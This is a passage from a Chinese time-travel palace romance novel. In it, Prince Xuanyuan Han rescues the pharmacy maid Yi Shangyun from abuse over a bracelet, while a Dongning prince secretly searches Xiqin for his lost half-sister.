“而且附近有路过的山民看到,那男子对衣姑娘有轻薄之举”程良偷偷瞄了一眼轩辕翰,看他越来越愤怒的眼神便马上继续说道:“喔,不过据山民说衣姑娘对男子此举很生气,便起身策马逃走了” 轩辕翰是很生气,但是他只能忍,因为他也不知道自己能做什么,该怎么做,他怕的只是不知道会不会有一天忍无可忍了。 “把那人给本王不负一切代价揪出来”轩辕翰下令道,程良领命 “还有,北烈国和南安国,给本王赶快查他们在西秦的细作据点,不能再等了,他们已经开始下手了。还有我们渗进去外国的细作也提醒他们加倍小心”轩辕翰意味深长地说着。 程良亦是一脸凝重地说“那东宁呢,要一起查吗” 轩辕翰一个深呼吸,然后说道“东宁先不必查了,本王要是猜的没错,等他们公主到了西秦,他们的细作必会浮出水来” “是,属下明白”程良顿时也自是都明白了过来,随即便慢慢退了下去轻轻掩上了门。 深夜了,轩辕翰回到了寝殿,站到窗前便能看到衣上云暂住在秦王府的阁楼,灯还亮着,她还没有休息。 轩辕翰不自觉又从衣袖里掏出那条秀有“云”字的女子丝帕,入神地看着心里想:他难道不是她病里口中喃喃的魏明轩?如果是,她今天又怎么会在阁楼里哭的这么难过呢?魏明轩到底是谁? ...... 第二十四章:芳心暗许 喜欢一个人,或者爱一个人,在时间和空间一切都尚且不晚的条件下,有时候是可以慢慢等待的,尤其当对方确实是一个值得你这么做的人,就比如才二十出头的轩辕翰的等待。 而有的时候,尤其是一开始本就是一场预谋的时候,往往其中谁先动心,谁就是那以后纵使人生路漫漫,爱情却会将她变成一个魔鬼,僵尸,陷入一世苦痛。 日子一天天过去,天也越来越冷,转眼不知不觉竟已经是冬了。 衣上云也早已稳定了玉娘的病情,只等婆婆和灵儿日夜陪伴她慢慢找寻恢复失去的记忆,这件事情也只能交给最至亲的人才能帮她尽快痊愈。 完成了轩辕玥交给她的差事,她从秦王府又回到了御药房继续当着差。 宫中的生活有了身为尊贵的公主轩辕玥的庇护,衣上云在宫中的日子多数时候也并不怎么难过。 不知不觉轩辕玥也早已在心中不把她当做个一般的奴才对待。 这天,金碧辉煌的皇宫里处处没了往日绿色和花团锦簇的生机,轩辕玥的风华宫里,奴才们也刚扫完了一地的落叶,树枝上到处已经接近光秃秃一片萧条的景象了。 窗外,冬日里难得暖暖的阳光透过窗棂洒在轩辕玥书案上刚刚写好的字上面,而从书房里透过那一个个精雕细琢的窗棂向外看去,却似可以看到与外面不同的景观,好似镶在框中挂在墙上的一幅幅画卷。 轩辕玥的书法造诣确实不凡。站在一边的衣上云和丁香俩个是趁着早来给她送冬补的药汤的,此时正站在轩辕玥的身旁,一起陪轩辕玥欣赏着刚刚完成的杰作。 “公主这字练得是越来越有神了,笔风一点都不似平常的闺阁情,阴柔气。公主书风清净,挥洒淋漓,灵心焕发”衣上云在一旁边看边说着,却早已发现这纸洁白稠密、纹理清晰的生宣上所写的内容尽是透漏着女儿家的心思。 ——“青青子衿,悠悠我心。纵我不往,子宁不嗣音?青青子佩,悠悠我思。纵我不往,子宁不来?挑兮达兮,在城阙兮。一日不见,如三月兮”。 看到轩辕玥在出神,衣上云忙试探地问:“公主可是有心上人了?” “我哪有,你不要胡说”轩辕玥忽然慌乱地收拾整理起来,一脸羞涩的红晕散开来。 “公主,是哪家的公子?奴婢可以帮忙打探打探?”一旁的小宫女听到也开口试探着问。 “公主如今也已快到及笄之年,长大了,该嫁人了”衣上云接着说。 “你们可还曾记得从西秦学院蝴蝶谷回来的路上,我们遇到的那位翩翩公子?”轩辕玥一边回忆一边害羞地低声说道。 “原来是那位公子。公主,可是我们就连那位公子的姓名都不得而知。而且......公主的婚事应该并不是可以自己做主决定的吧。公主真可真要这么做,你可想好了结果?” 小宫女听了一脸担忧地问道,自古皇族儿女享受着天下极致的荣华富贵,却也要承担世间极致的责任,谁又曾逃得脱呢? 此时,轩辕玥也皱起了眉头沉默了半天,开口道“是啊,这又岂是我能决定的。就连西秦一人之下万人之上的秦皇叔都要奉旨娶亲,成为巩固西秦政权的牺牲品,更何况我一个小小的公主呢?”说完轩辕玥便深深叹了口气。 而衣上云想到自己,亦是沉默陷入沉思“从古至今,无论贫穷还是富贵,相爱却不能相守的,又何止是自己一个呢?”。 然而片刻后,当她收起思绪再次抬眼看向轩辕玥那失望的眼神时,她却不知为何特别的心疼。 随即便大胆鼓励轩辕玥“公主,现在什么事情都还没有发生,而且每个人的未来都是不可而知的,就像奴婢不久前还在21世......公主又为何要庸人自扰,杞人忧天呢。如果自己不争取,就更不能奢望别人的赏赐了,不是吗?”。 衣上云触景伤情,一激动差点说出自己是21世纪人类的真相来。 轩辕玥茅塞顿开看向衣上云的眼睛坚定不移地说道“对,云儿说的对,现在还什么都没有发生,本公主不应该放弃”。 而此时,距离西秦国边境不远处,一支浩浩荡荡的和亲送嫁车队正朝着西秦国缓缓移动着,一路所经之处扬起漫天沙土,风尘仆仆。 西北风呼呼地刮着,他们已经走了数月,终于快要到达西秦边境了。 这支引人注目的队伍便是东宁国永乐公主梅汐媛的和亲送嫁队伍,她在中秋节前夕被她的父皇东宁国国君梅潇然进贡给西秦国,以示两国友好相交。 而西秦国璟帝则将其赐婚给西秦唯一的亲王,他唯一的亲皇弟秦王轩辕翰,因疑虑秦王若赐婚了内臣之女怕他会笼络朝臣威胁到自己的政权,所以便将这邦国进贡的公主赐予了他。 秦王早已过了弱冠之年,自知无法自主择婚,也没有儿女情长的打算。而若璟帝再不赐婚,恐怕朝内大臣会妄议璟帝故意苛待手足秦王。 所以,这对生性多疑,贪恋权势的璟帝来说无疑是一个万全之策。 “公主,奴婢听闻西秦秦王位高权重、沉稳内敛、足智多谋、尊贵无比呢”一旁的婢女正对着身边这位尊贵的主子欣喜地说道。 “那当然,本公主也早已听闻西秦秦王乃英俊潇洒有为之男子,是西秦皇帝唯一的亲弟弟。父皇定是不会亏待我的”梅汐媛一脸沾沾自喜和骄傲。 “只是,公主......听说,秦王是一个很冰冷的男人”婢女似是有些疑虑地说。 “哼,即使他再冰冷,以本公主的才情和温柔似水,还怕不能融化他那万年寒冰吗?”梅汐媛一脸的自信满满道。 “那是,世人还能有谁如我们永乐公主这般温柔娴淑、端庄大方、美丽聪慧呢”婢女奉承着。 “不过,公主。咱们来西秦,公主可别忘了国君交给你的任务啊”婢女急急提醒。 “本公主心里自是有数,不必担心”梅汐媛胸有成竹地说着说着皱起了那漂亮的眉头。 忽然,她好像想起了什么问了句“哥哥一个月前就应该已经到西秦了吧?” 婢女回禀“是的,殿下已经安顿好一切,只等公主大婚后便开始计划中的事情”。 “嗯,哥哥自小足智多谋,遇事沉稳冷静,有他相助,必会事倍功半”梅汐媛对哥哥从小就佩服地很。 “公主且安心,只需好好准备大婚便可”婢女提醒道。 而西秦国皇宫里,秦王轩辕翰今日也进宫了。 “殿下,东宁国公主不日将至西秦,驿站已经安排妥当,大婚定在除夕前,殿下也该开始准备了”程良接到宫里传来的消息,这时正随着轩辕翰一起因大婚事宜应召进宫。 轩辕翰没有说话,只是眼睛微微一怔却瞬间恢复往常继续走着,心里想“该来的终于还是来了”。 忽然一个小药女匆匆忙忙竟然没有看到正走在回廊里的轩辕翰,只顾低头冒冒失失就冲撞了上来,倒是把自己险些撞了个人仰马翻。 这才抬头看去,一见是秦王,便立刻后退两步止住慌慌张张跪了下来“秦王殿下赎罪,奴婢不是故意的”。 “大胆奴才,因为何事如此行色匆匆竟敢冲撞秦王殿下,不要命了吗”一旁的副将程良见此情景忙上前厉声呵斥地质问道。 “回殿下,奴婢是御药房的药女,名唤丁香。因与奴婢一起在御药房当差的好姐妹衣上云被大药女诬陷,奴婢正要去风华宫请玥公主前去搭救,不小心冲撞了秦王殿下,还望殿下恕罪”丁香低头跪着战战兢兢声音还带着一丝哽咽地回道。 一听到衣上云的名字,轩辕翰双眉立刻紧锁着问:“到底怎么回事,给本王讲清楚”。 丁香本是有所顾忌的,因为她不知道秦王殿下到底是会帮她还是会官官相护帮着大药女那伙人。毕竟她们在宫中是最渺小被人忽视的生命,而大药女有显赫的家世背景庇护,秦王怎么可能相信她现在说的话呢。 就在她正左右为难地犹豫着要不要将事情讲出来的时候。突闻一声如雷贯耳的训斥:“还不快讲,想死吗”,说话的人正是副将程良。 他家主子明显是听到了衣上云三个字,管定这件事了,而这个不知深浅的丫头居然还在犹犹豫豫。 丁香一惊,立马一口气全盘脱口而出:“云儿有一个非常珍贵的七彩*金丝彩玉镯子,她本是好好收着的,都怪奴婢不好,是奴婢害了云儿。只因奴婢一时好奇,便要她拿出来看一眼。谁知竟被大药女瞧见了,大药女非说是云儿不守妇道,定是与男子私定了终身,这便是他们的定情信物。皇宫里的女子若是被知道私定终身,那可不是闹着玩的。所以大药女就心生贪念,想将这镯子据为己有,便以此要挟云儿将镯子交给她,否则就会将云儿交由院使大人处置。云儿死都不肯,如今已经被大药女关押在小柴房里已经一天一夜了......云儿定是出事了,所以奴婢现在要赶去风华宫请玥公主来救云儿,玥公主平日里待云儿极好,肯定救得了云儿的”。 “关在哪里,给本王带路”轩辕翰等不及丁香将话说完,早已经一脸怒色,眉头皱地更紧了,程良看着主子已怒发冲冠亦是一个惊吓。 丁香立马起身抹了把眼角的泪水,速速前面带路。 ...... 第二十五章:定情信物 “关在哪里,给本王带路”轩辕翰等不及丁香将话说完,早已经一脸怒色,本就一双冰冷的剑眉此刻皱地更紧了,程良看着主子已怒发冲冠亦是一个惊吓。 丁香立马起身抹了把眼泪,速速前面带路。 去御药房一路所遇之人无不被秦王轩辕翰这幅罕见的愤怒眼神所震慑,纷纷靠边低头跪拜避让着。 “秦王殿下这是怎么了?”奴才们都议论着,疑惑着,秦王一向沉稳内敛,虽然表情一向冰冷却从未有过像今天这般怒气冲冲。 此时,御药房里人人都在紧张地忙碌着自己手头上的差事,忽然看到丁香带着秦王的副将行色匆匆地进门来,都不由自主地好奇着朝大门方向望了过去。而紧接着众人便都看到他俩身后出现了一个如同神抵般尊贵的人儿来,此人正是秦王轩辕翰。 顿时所有人都立马怔住即刻又纷纷双膝跪地,俯首跪拜,口中喊道“秦王殿下千岁千岁千千岁”。而轩辕翰却并没有看他们一眼,甚至连眼睛都不曾抬起一点来。 丁香只顾在前面急急带路,三人一起很快来到了后院角落里的一个小柴房前,柴房的门此刻正半掩着...... 里面大药女一副趾高气昂的模样端坐在桌案边,身旁站着两个平日里最亲信的小药女。 衣上云此刻就跪在大药女面前冰冷的地上,只见大药女一脸愤怒地瞪着她,忽然起身来从衣上云身旁的木水桶里舀起一瓢满满的井水对着衣上云的头顶缓缓浇灌而下。 时已至冬,衣上云的身上依旧只穿着件陈旧而又单薄的冬衣。这井水看似不比室温里的水般寒冷刺骨,但是小茅屋内到处透着风,井水浇灌下来很快便流淌至她的全身。 接着被凌冽的寒风刮过,比起用室温里的水浇灌来的更为冰冷彻骨。水从头顶流下衣上云倒吸一口凉气眼睛微闭,双臂交叉紧紧环抱着自己原本就瘦弱的身体。 每一次浇灌她都咬牙切齿地咯咯作响。她很冷,寒彻心扉,冰冷刺骨,眼睛不停地闪烁着,一天一夜,她实在已经支撑不住了。 轩辕翰三人刚到门口便从半掩着的门缝里看到了屋内发生的这一幕,看到轩辕翰双拳瞬间握紧,程良一脚上前重重地踢开屋门“哐......”一声,随即又是另一脚狠狠将大药女手中的瓢勺踢飞了出去撞击在墙壁上碎成了几片。 大药女和两个小药女随即连忙回头,一看到眼前的来人几乎傻了眼般地怔住,顿时六神无主、慌忙的双膝下跪低头道“奴婢参见秦王殿下,殿下千岁千岁千千岁”。 轩辕翰目不转睛死死地盯着衣上云对着三人道:“谁准你们这么对她的”。 “殿下,这个奴才她不知羞耻,竟私下与人私定终身,奴婢这是正在教训她”大药女竟然还一脸正经地为自己辩驳起来。 “殿下,我没有”衣上云听闻立即摇头自辩。 她的身子已经快要支撑不住竟摇摇晃晃了起来,丁香见状立马跑上前去跪地扶着。轩辕翰依旧看着她双眉锁得更紧,随即倒吸一口气道继续对大药女说道:“证据呢?”。 大药女倒是很沉得住气,依然为自己辩道“殿下,奴婢亲眼所见,有她情郎的定情信物为证,只是......只是这丫头将她藏起来死都不愿意交出来,所以奴婢才惩罚她的”。 大药女明显豁出去了,既然衣上云死都不肯交出那七彩.金丝彩玉镯子,如今为了帮自己脱罪,她也只是忍痛割爱了。 轩辕翰听了露出一声轻蔑地冷哼道“你口中所说的定情信物可是一只七彩.金丝彩玉镯子?”。 大药女看了丁香一眼,丁香吓得悄悄低下头,随即大药女道“正是一只七彩.金丝彩玉镯子,殿下如何得知?哦,一定是丁香这个死丫头说的,平日里她俩就孟不离焦地黏在一起鬼鬼祟祟,说不定这事也少不了她的份”。 轩辕翰看衣上云的眼神变得更认真了,其实他根本就未听大药女的这番说辞。他此刻眼神似乎更为气恼,不过一个镯子而已为何又不惜以命相守,这个女人到底以为自己有几条命? 衣上云望着这个幽幽深邃、捉摸不透的眼神,也似是真的不知道此时该怎么解释这个七彩.金丝彩玉镯子的来历。 这个七彩.金丝彩玉镯子是21世纪他最爱的人魏明轩留给她唯一的念想,也是唯一跟随她来到这千年前的西秦国的唯一物件,可是此时她该怎么解释呢?他们肯定会当她是疯子,是怪物吧?! 谁知轩辕翰看着看着却冷不丁地说出一句让全场人都惊得差点晕眩的一句话。 他依然直看着衣上云的眼睛清清楚楚地说“镯子,乃本王所赠”。 “什么?七彩.金丝彩玉镯子是秦王殿下赠给她的”大药女好似晴天霹雳地被这句话惊吓到。 什么?殿下何时赠送七彩.金丝彩玉镯子给衣姑娘,程良亦是满脸愕然地怔住看向他的主子。 衣上云听到这句话亦是瞬间愣住,惊讶的程度绝对不比其他人弱。眼睛一动不动地看着眼前这个西秦国一人之下万人之上、睥睨天下、尊贵无比的秦王。 在场除了轩辕翰自己,没有一个人不为这句话惊讶万分的,与其说是惊讶,倒更不如说是惊吓。 一个个甚至都不敢喘大气呼吸,这种气氛很可怕。 轩辕翰却在想,这个镯子到底是谁赠的,竟然这么难开口,会不会又是那个魏明轩。这样的话她确实是不可能说出来的,而只有轩辕翰承认是他所赠,从此这宫里所有人自是不会也不敢对这镯子再打任何主意。 大药女终于清醒过来,她说那镯子是衣上云的情郎所赠,而今承认赠送镯子的确是尊贵无比的秦王殿下,那他们的关系......。 她似乎意识到了什么,竟不由得整个身子发起抖来连忙俯首叩拜求饶不停地说“殿下赎罪,奴婢错了,殿下赎罪,奴婢错了......”。 “从现在起,本王认为......”听到大药女求饶的声音,轩辕翰这才把视线从衣上云的身上收回,但话还没说完,只见衣上云体力不支加上惊恐过度此时彻底晕了过去。 一旁的丁香急急担忧道“云儿,你怎么了,你不要吓我,云儿,都是我不好,我不该那么好奇非要看你的镯子......” 此情此景,轩辕翰竟一个箭步过去伸出手将衣上云紧紧横抱了起来,对丁香厉声喝道“房间在哪?” 丁香被轩辕翰这一个横抱竟然吓得起身时一个趔趄,然后又是紧接一个趔趄,最后终于一边抹着挂在脸上的泪珠,一边慌慌张张地带路走向药女所。 大药女等人见他们出去,一个个都面面相觑,满脸尽是不可思议,猜想着这到底是怎么回事?那么尊贵、冰冷、传闻不近女色的秦王殿下就这么当着他们所有人的面抱着衣上云,一个御药房新进的小药女,而且还是个被退了婚的丑女。 御药房院子里,所有人都还齐齐跪着呢。轩辕翰没让他们平身,他们自然就得一直跪着。 可谁都不曾知道,秦王行色匆匆至此到底为了何事,他可是从来都没进过太医院的大门啊。 直到看见他抱着衣上云出来,跪着的众人一个个是何等的大惊失色、目瞪口呆。 这可是秦王啊,秦王是什么人,西秦国一人之下万人之上,可他现在怎么会抱着一个丑陋的小药女。而这小药女显然已不省人事了,到底发生了什么事? ...... 药女所衣上云的屋里一室寂静,悄无声息。 程良在轩辕翰将衣上云抱出小柴房的时候就已速速去请了太医过来,此刻自己守在屋外门口。 把完脉,太医战战兢兢地说“殿下,衣药女这是久未进食且本来就身体虚弱,今再加上受了凉,染了严重的风寒身体透支以致昏迷。老臣这就去开药,她很快会醒的”说完便退了出去。 轩辕翰并没有看他,他的眼睛一直盯着衣上云苍白的脸,刚才他抱她的时候才发现她浑身都湿透了,双手一触碰到她柔软的身子就感觉冰凉冰凉的,整个人都软软的缱绻在他怀里。而她却就这样被折磨了一天一夜。 “真是该死的奴才”他一边皱眉心想着一边再次攥紧着拳头都能听到发出咯咯的响声。 “给本王照顾好她”轩辕翰冷冷丢下这句话给一旁还在神游的丁香,最后恋恋不舍地再次看了一眼昏睡中的衣上云,就迈步走出了屋子,程良紧跟其后。 轩辕翰这时才稍微安心一点要去找璟帝回话,而程良便趁着这段时间又回到了御药房。这一院子的人跪的时间也够长了,尤其是那个大药女。 他自是要替他的主子将事情处置的妥妥当当,谁让他是轩辕翰的心腹呢,主子自是不用说,他也定是要按照主子的心意办的漂漂亮亮,让主子心满意足方可。 还没等他开口,顾院使便早已听闻了今日之事,此时恭恭敬敬地答复他道“从现在起衣药女便是御药房新晋的大药女,原来的大药女降为低等药工杖责五十,以儆效尤”。 程良听了单边嘴角微斜,轻声哼笑道“算你识相,以后眼睛都擦亮着点,什么该说什么不该说,该怎么做不该怎么做,都心里清楚着点,否则哪天保不齐脑袋就搬家了”。 顾院使脸上挂着微笑仔细听着,额头却渗着豆大的汗水道“是,是,是,老臣一定谨记程副将提醒,还请程副将在殿下面前帮老臣多多美言,老臣一定会好生照料着衣药女,绝不让她再掉一根头发”。 程良轻轻松松就办好了差,便去与轩辕翰汇合。一见到轩辕翰,便向其点头示意已处理好一切,轩辕翰这才跟璟帝告退出宫离开。 “今天的事,殿下完全不必亲自动手”程良跟在轩辕翰身后一边走着忽然说道。 “本王知道,本王只是......”轩辕翰停住脚步倒吸一口气,欲言又止道。 程良见轩辕翰如此难以开口,心中便已有了几分猜忌,但还是不愿意相信,自己的主子显然是真的看上了这个丑丫头,可他又忧心起来...... 第二十六章:该来的终究还是来了 程良见轩辕翰如此难以开口,心中便已有了几分猜忌,但还是不愿意相信,自己的主子显然是真的看上了这个丑丫头。 可他又忧心,主子不是已经大婚在即了吗?! 此时,衣上坤出宫办差刚回到御药房。 一同僚见他风尘仆仆归来上去冷冷地对他说“衣药师好本事啊,生了个好女儿”。 “此话怎讲”衣上坤听后一脸狐疑,皱着眉头问。 他还不知道今天发生了何事,此时回头看去只见周围的人一个个都交头接耳,嘀嘀咕咕,对着他异样的表情,不知道在议论些什么。 “你的好女儿竟然攀附上了秦王殿下,难道衣药师还不知道吗?真是看不出来啊,想必衣药师日后定是前途无量”同僚言语里尽是轻蔑讥讽之意。 “一派胡言,老夫的女儿怎么可能做这种事情”衣上坤十分惊讶愤怒地怒道。 “哼,今日整个御药房的人大家伙可都亲眼瞧见了啊,令嫒可是被秦王殿下当着众人的面亲自抱回药女所的,你若不信何不亲自去问问你那宝贝女儿呢”同僚挑高了眉挑衅着。 衣上坤顿时无语,呆愣了半天方才坐了下来。一个人嘴里喃喃道“历代皇宫自古都是是非之地,本不想你进宫却是事无可避,惟愿你能韬光养晦、善自小心、保全自己、可惜还是......”。 见他欲言又止沉默了半天长叹一声随即摇摇头露出一脸的忧心,继续道“该来的终究还是来了,怎么躲也躲不过去。眼前的这个女儿长相和行事风格越来越像她的生母,尤其是昏迷一年后醒来更是如此,坚强勇敢又善良。难道这是上天注定的,老夫本只期望她如她生母临终前所托,愿她平安终老。当初以为把她嫁给西秦学院少主,也算是给她安稳富足的一生,可谁却想会有退婚一事。而今还是因为老夫让她与这些位高权重的皇族人纠缠在一起,始终都是老夫拖累了她”。 衣上坤深深地叹着气,眼睛深邃地如同黑洞一般...... 药女所里,衣上云终于苏醒慢慢睁开了眼睛,只觉得头痛欲裂,昏迷前发生的事情也已一幕幕浮上心头。 丁香看到她醒来,立马过去将她一边扶起一边含泪关切道“云儿,感觉如何,可好些了?”。 “没事儿,已经好多了,不必担心”衣上云强忍着不适,一边面带微笑地安慰丁香一边帮她擦拭眼泪,她知道丁香这次定是被吓得不轻。 “云儿,是秦王殿下救了你,大药女还被降为低等药工杖责五十,估计没个把月肯定是起不来榻了。哦还有,云儿你快猜猜院使大人任命了谁做新的大药女吗?”丁香忽然满是欣喜地对衣上云说道。 衣上云心里并不在意这个问题,此刻她只眼睁睁看着丁香高兴的似乎忘记了今日所有的惊吓,丁香自顾一脸羡慕道“云儿,从今天开始你...衣上云,便是御药房的大药女了,这下我们终于苦尽甘来,守得日出见月明了,以后再也不会被欺负了”。 然而衣上云却并没有丁香想象般的那份喜悦,她依然苍白憔悴,只是微微抿着嘴眼睛轻轻眨了一下。 “云儿,有件事我想问你,你......你跟秦王殿下很熟吗?”丁香自觉自己的兴奋之态有些过高,突感尴尬,随即转移了话题。 “没有啊,我这个样子怎么可能跟身份那么尊贵的人很熟呢”衣上云看了看自身全身上下,嘴里这样说着。 可眼睛却不由自主地瞥到一边躲闪起来,心里也回忆着真的好像没有很熟悉他的感觉。以她的身份和长相怎么配跟睥睨天下,尊贵无比的秦王混为一谈,她觉得那简直就是对秦王的一种亵渎,是她从来都不曾也不敢奢望的。 丁香听了,左看右看一脸狐疑地端详了衣上云半天,最后还是半信半疑地嘟着嘴说“这就奇怪了,我看你被大药女惩罚情况危及,本来是要去风华宫禀报玥公主前来相救的,谁知道半路竟会遇到秦王殿下。更没料到他竟然会亲临御药房,而且...当着所有众人的面将昏迷的你一路抱到药女所榻上,让我怎么看都不像你们不熟啊?”丁香一边说一边用手挠着自己的脑袋,像是有天大的谜团解不开来似的. 衣上云听了却惊吓住道“你刚才说什么,秦王殿下......殿下他抱我回来?”。 “是啊,小柴房里你病倒昏迷了过去后,秦王甚是担忧地亲自一路把你抱回到药女所放在榻上,还让人找来太医细细诊治完方才离开。御药房所有人都看到了,在场没有一个人不被惊到,吓到的呢,那可是如神邸般尊贵的秦王殿下呀”丁香一脸羡慕的表情说道。 衣上云听了却速速低下头去,瞬时苍白的脸竟泛起一圈圈的红晕来,喃喃道“说七彩.金丝彩玉镯子是他赠送的,还当着所有人的面抱...秦王啊秦王,你这是要我的命啊,我这么福薄的人怎么受得起。这可是千年前的西秦国,不是21世纪哇”。 紧接着只见她盯着缓缓摊开来的两只瘦小的手掌以迅雷不及掩耳之势将整张脸都蒙了起来,丁香看着她一脸的莫名其妙。 ...... 自从发生了秦王亲临御药房维护衣上云一事,整个御药房便再也没有人敢刁难衣上云了,就连院使大人每每都是恭恭敬敬礼让她三分。 如今人人都以为衣上云是秦王要的人,连镯子都赠了,搞不好过不了多久,便会成为秦王府的侧王妃了吧? 秦王是谁,巴结他的人队都排到西秦国外去了,都还找不到门呢。放眼这整个西秦国里又有谁敢与他做对,那简直就是鸡蛋碰石头,自取灭亡。 衣上云就这样成了御药房大药女,宫中的日子便更好过了。 这一日,有位小药女匆匆过来禀告“大药女,有位药商说要见您”。 “见我?我并不识得什么药商啊”衣上云不解地问。 衣上云跟随小药女很快来到了御药房会客的客厅,一进门,看到此人正背对着自己,只见其背影身姿修长挺拔伟岸、单手负在身后、一身黑衣劲装,墨发半束。衣上云看着来人发愣正在猜想此人究竟是谁。 听到衣上云的脚步声传来,来人随即一个匆忙的转身,衣上云面前便立马现出那对象征性的桃花眼露着一脸的潇洒不羁和恣意随性来。 衣上云霎时间瞪大眼睛惊讶道“三少”。 没错,来人正是百草谷百草堂正主易君浩,易三少是也。 “你怎么知道我在御药房当差”衣上云极为不解地问道。 “这天下只要我易三少想知道或者想做的事情,从来都没有办不到的。丫头,你还在生三哥哥我的气吗”易君浩一脸狂妄的说着一边走到衣上云跟前,身体慢慢逼近她略带些忧心地试探问道。 “三少莫再提及以前的事情,云儿是见三少乃仗义且豪爽之人,故我是真心想待三少为朋友知己。三少若亦是想与我为友,就以后请自重莫再如此无礼,否则.......”衣上云一本正经严肃地说着,话还没完,易三少便出言打断了她。 “丫头,你放心,既然你真心待我为朋友,我易君浩保证以后都不会对你失礼了,如果再有对你轻薄之举,我易君浩不得好死”易三少甚是真诚地重重发誓道。 衣上云听了,低头抿着小嘴,嘴角方才露出浅浅的弧度。易君浩见她此时已经完全原谅了他。 其实他也自知上次在海棠谷情绪失控,自己确实行为有些太唐突了,后来一直都为此很是苦恼,就怕衣上云因此不再见他也不再相信他。 刚好宫中有药草要送,他便乘机亲自来跟衣上云赔礼致歉。幸好,他被原谅了,他就知道这个善良的丫头一定不会真的迁怒于他的。 而此时衣上云也自是羡慕易君浩的潇洒无羁、药术精湛。有这样一个朋友和知己,也确实是很不错的,但是这绝对不是易君浩想的那种,就只是朋友而已,她必须跟他坦坦荡荡地讲清楚,不想朋友之间日后因此有任何误会或者芥蒂。 是夜,西秦学院蝴蝶谷东郊附近,一座幽静的民宅内,灯火通明。 “三殿下,永乐公主还有三日便至西秦了,驿站都已经部署好,只等公主驾临。”一名贴身护卫正细细地禀报着。 只见那护卫口中的三殿下背对着他双手负手而立,一身锦白长袍、墨发全束、身姿挺拔、侧脸看来,温润如玉,沉稳内敛,浑身散发着一股尊贵之气。 男子用极富磁性的声音问道:“让你查的人,查的怎么样了”。 “回殿下,当年先皇后在西秦国发生不测坠落深渊,随行护卫为保护先皇后也都纷纷被诛杀。后来宫里派出的探子只查到先皇后落入深渊后受一对山野间夫妇相助产下一位公主便骤然离逝,公主亦被临危受命托付给这对夫妇收养。但如今时过境迁,这对夫妇早已经不知所踪,公主恐怕也是凶多吉少”护卫甚是忧心地回答道。 这个被护卫口中称之为三殿下的男子正是灵空大陆富甲一方的东宁国三皇子梅志煊,与西秦国秦王轩辕翰不日即将大婚的永乐公主梅汐媛的三皇兄。 他此行西秦国是借以送嫁为由,实则是为了...... 第二十七章:凤凰印记,唯一的血脉 这个被护卫口中称之为三殿下的男子正是灵空大陆富甲一方的东宁国三皇子梅志煊,与西秦国秦王轩辕翰不日即将大婚的永乐公主梅汐媛的三皇兄。 他此行西秦国是借以送嫁为由,实则是为了寻找东宁国多年前骤然离逝的嫡皇后遗留在西秦国内的独女,即东宁国最尊贵的嫡公主。以及查出嫡皇后当年遇难的真正原因,更是接机全面刺探西秦国的真实国情以便日后借机起兵。 东宁国地处灵空大陆极东的沿海区域,与地处极西北的西秦国因战线太长恐后继无力,故在没有知已知彼的万全之策前,切不可轻举妄动。 此刻,梅志煊心里暗自想着“嫡母后心思缜密、医术过人、已近临盆怎么会以身犯险急着前往遥远的西秦国?又为何会遇害坠落深渊?到底是谁追杀,这期间到底发生了什么事?那刚出生的襁褓里的女婴如今到底是生是死?那对夫妻又是什么人,如今该去哪里找?他们是西秦国人吗?还是已经畏惧逃离了西秦?如今这一切显然线索全断......”。 深思良久,只见他忽然抬起头来,像是突然发现什么秘密一般。 “对了,我怎么差点忘记了,还有嫡母后一族的专有凤凰印记”。 他小时候和梅汐媛一起同母后嬉戏,曾经无意间发现嫡母后身上有一个粉色的凤凰印记,他俩当时都很好奇。 梅汐媛便问嫡母后,嫡母后只告诉他们说这是她们家族女子身上的专有印记,凡是本族血脉生女子均有此凤凰印记,与生俱来。可是这茫茫人海真正如同大海捞针该如何去寻......”。 好不容易想起了新的线索,却是这样的机会渺茫,他再次皱起眉来,摆了摆手示意护卫退下,诺大寂静的房间里只独自剩下一人,依旧沉默孤独地背身而立着。 在烛火的光照下,他的影子拉的很长很长,一如他现在复杂又忧伤的心情。嫡皇后不是他的亲生母后,却是这个世界上对他最好的人,他的生母在他出生的时候便难产离世,嫡母后曾经给他幼小的心灵太多的慰藉和缺失了的母爱。 她是那样温柔的一个女子,几乎集世间所有女子的美好于一身,将自己视如己出精心照料。尚还未来得及等他尽孝半分便骤然在异国他乡离世,就连他那一出生就没了母亲可怜的皇妹至今都渺无音讯,生死不明。 这么多年他真的很内疚,他时刻惦记着怕那个女婴出事,此时他双眼迷离,嘴里喃喃道“你千万不能出事,你是嫡母后留在这个世上唯一的血脉了”。 而此时在他身旁不远处一个琉璃瓶里,一只只光明女神蝶身姿婀娜正在翩翩起舞,在这夜里挥动着翅膀发出星星点点的光芒,只见它们时而深蓝,时而湛蓝,时而浅蓝变换不停,优雅而美好。 琉璃瓶盖并未封上,这些神蝶竟是如此地自由自在,此时却更像似是在倦蝶归巢,双双归来。 梅志煊看着看着,对着这些神蝶一脸希冀地说道“到底你,什么时候也能像这些蝶儿一样平安回家呢?” 随后只看到他瞬间低下了头发出一声声长叹来,那该是有多无助才会让如此这样一位温润如玉般温暖的男子发出这样的叹息声...... 城东秦王府内,亦是一片灯火通明,将王府内外照的恍如白昼。 程良急急前往承华殿,因为被告知婆婆的媳妇就在刚刚恢复了记忆,已经基本都回忆起来了。 这对所有人来说确实是这许久以来的一个好事情,而却有更振奋人心的消息传出来。 轩辕翰大婚在即,诸事却丝毫一点也不上心。本就是一桩政治联姻的赐婚,对象是谁,喜不喜欢,丑还是美,他完全一点也不在乎,一切都仿佛是别人的事情。 知道秦王母妃已仙逝无人替其打理诸事,宫中自是派了专门的人在处理,会面面俱到,给足他皇家应有尽有的颜面,他似乎也真的无需亲自过问什么,本就是不在计划上的事情,他也落得清净,任由他们去处置。 这会儿,他正在承华殿里翻阅着书案上那一封封密函,都是些渗入各国进去的细作来报计划的进度,看着一切都正常,他也算是可以安心静等着合宜时机的到来了。 而此时他却不知不觉地陷入了另一个深思“那不怕死的丫头不知道身子可好了?”不知不觉脑海里竟现出了那天他抱起她来的一幕幕。 这还是他此生第一次抱一个女子,她是那么轻柔,那么软绵绵,让人一看见就十分想要心疼和保护,即便是他已仙逝的母妃也未曾享受过他如此待遇。 想着想着只见他嘴角微微上浮,呆滞的眼睛轻轻眨了两下,绽放出从未有过的甚是好看的笑颜来。 程良远远看着一脸痴笑着的轩辕翰,不用猜这个主子肯定又是在想那位姑娘了。 他竟带着一脸窃笑微微浮在半个嘴角,悄悄靠近到了轩辕翰的案前凝视起这位主子,轩辕翰竟浑然不知。 